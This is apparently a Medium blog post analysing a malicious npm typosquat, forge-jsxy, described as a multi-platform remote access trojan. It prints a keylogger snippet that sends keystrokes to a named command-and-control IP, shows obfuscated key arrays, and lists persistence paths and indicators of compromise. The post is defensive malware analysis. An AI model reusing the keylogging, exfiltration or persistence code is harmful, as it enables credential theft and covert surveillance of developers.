← Back to list

The Ghost in the Forge: A Deep-Dive Analysis of the forge-jsxy Multi-Platform RAT

Today , while performing an independent inspection of suspicious npm packages using Uptycs XDR , I stumbled upon a piece of malware that…

Nijin K · 2026-05-05 20:48 · 1 claps · 3.5 min read paywalled
#malware-analysis #npm #malware #uptycs #cybersecurity
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

The Ghost in the Forge: A Deep-Dive Analysis of the forge-jsxy Multi-Platform RAT

Today , while performing an independent inspection of suspicious npm packages using Uptycs XDR , I stumbled upon a piece of malware that redefines “sophistication” in the open-source ecosystem. What appeared to be a utility for Autodesk Forge — a package named forge-jsxy—turned out to be a professional-grade Remote Access Trojan (RAT).

This wasn’t a script-kiddie attempt; this was a surgical strike against developer workstations. Here is my full analysis of the infection chain, from the first typo to the cryptographic vault hiding the C2 infrastructure.

1. The Entry Point: Typosquatting and “Born-Bad” Code

The attack begins with human error. By typosquatting the popular node-forge library, the actor behind forge-jsxy (johnceballos0716) targets developers in high-privilege environments.

The entry point of the package (index.js) acts as a Command Center. Unlike legitimate tools, its exports revealed a modular surveillance suite:

  • **startWindowsInputSync**: Entry for the keylogger.
  • **effectiveSyncKeyboardClipboard**: The clipboard hijacker.
  • **startDesktopEnvSync**: The credential harvester.
  • **autostart**: The persistence manager.

2. The Vault: AES-256-GCM and XOR Obfuscation

The most impressive part of forge-jsxy is its stealth. It does not hardcode its Command & Control (C2) IP. Instead, it uses a multi-layered cryptographic approach found in deploymentDefaults.js and deploymentCipherData.js.

The XOR Split-Key

The malware reconstructs a 32-byte AES key at runtime. It splits the key into two halves, XORing them with “magic masks” to prevent any single string-matching tool from flagging the key.

File: deploymentCipherData.js

JavaScript

/** First 16 key bytes XOR'd with MA. */
exports.DEPLOYMENT_KEY_A = new Uint8Array([135, 49, 199, 76, 166, 214, 58, 202, 152, 59, 1, 155, 171, 88, 86, 12]);
/** XOR mask for first 16 key bytes. */
exports.DEPLOYMENT_MASK_A = new Uint8Array([186, 248, 100, 81, 174, 76, 90, 98, 101, 206, 50, 3, 55, 72, 41, 252]);

Authenticated Decryption

Once the key is reconstructed, the malware uses AES-256-GCM to decrypt a Base64-encoded payload (DEPLOYMENT_CIPHER_TEXT_B64).

By using GCM (Galois/Counter Mode), the malware ensures the payload hasn’t been tampered with. The decrypted result reveals the heart of the operation: IP 204.10.194.247 on ports 8765 (API) and 9877 (Relay).

3. The Surveillance Suite: Watching Every Move

Once initialized, the malware deploys two primary surveillance modules that operate at the OS level.

Global Keylogging via uiohook-napi

The malware weaponizes the uiohook-napi library to tap into the OS-level input manager. This allows it to capture keystrokes in any application—Slack, Browsers, or Terminal.

JavaScript

uiohook.on('keydown', (e) => {
    buffer.push(keyMap[e.keycode]);
    // Smart exfiltration: Wait for 'Enter' or 1200ms of silence
    if (e.keycode === 28 || buffer.length > 50) {
        flushBuffer(); // POST to http://204.10.194.247:8765
    }
});

The 400ms Clipboard Loop

To steal passwords and private keys copied from managers, the malware polls the system clipboard every 400ms. If a change is detected, it is immediately exfiltrated.

4. The Discord Spy: Visual Surveillance

While the keylogger handles text, the forge-agent.js module handles visuals. My analysis of the agent's binary revealed a chilling discovery: Automated Screen Captures.

The malware is configured to take a full-screen screenshot every 5 minutes (300,000ms). It doesn’t use the C2 for these large files; instead, it leverages Discord Webhooks. By sending your desktop images directly to a Discord channel, the attacker bypasses their own bandwidth costs and hides their traffic behind legitimate Discord API calls.

5. Persistence: The Malware That Refuses to Leave

Deleting the node_modules folder is useless. During the postinstall phase, the malware drops platform-specific persistence agents that ensure it runs on every boot.

PlatformPersistence MethodTarget PathmacOSLaunchAgent~/Library/LaunchAgents/com.forgejs.worker.plistLinuxSystemd~/.config/systemd/user/forge-js-worker.service WindowsTask SchedulerForgeJSWorker

Summary of Indicators of Compromise (IoC)

  • C2 Server: 204.10.194.247
  • Exfiltration Port: 8765 (HTTP)
  • Reverse Shell Port: 9877 (WS)
  • Encryption Method: AES-256-GCM with XOR-obfuscated keys.

Conclusion: Nuke It from Orbit

My analysis confirms that forge-jsxy is a Tier-1 threat. If you have run npm install forge-jsxy, your machine is no longer your own.

The Recovery Plan:

  • Full Format: Reinstall your OS. Persistence is embedded at the system level.
  • Secret Rotation: Every password, API key, and SSH passphrase typed or copied while this was installed is compromised. Rotate them immediately.
  • Session Revocation: Revoke all active sessions on GitHub, AWS, and internal company tools.

This isn’t just a package; it’s a managed service for corporate espionage. From AES-256-GCM encrypted C2s to Discord-based screen recording and a self-contained ‘Upgrade’ path that bypasses NPM entirely, forge-jsxy is a masterclass in modern malware design. If you are a developer, your machine is the ultimate prize. Protect it."


메타데이터
post_id
eee92c07fb4b
slug
the-ghost-in-the-forge-a-deep-dive-analysis-of-the-forge-jsxy-multi-platform-rat-eee92c07fb4b
url
https://medium.com/@nijina7/the-ghost-in-the-forge-a-deep-dive-analysis-of-the-forge-jsxy-multi-platform-rat-eee92c07fb4b
canonical_url
https://medium.com/@nijina7/the-ghost-in-the-forge-a-deep-dive-analysis-of-the-forge-jsxy-multi-platform-rat-eee92c07fb4b
author_url
https://medium.com/@nijina7
status
ok
fetched_at
2026-06-15 20:49:13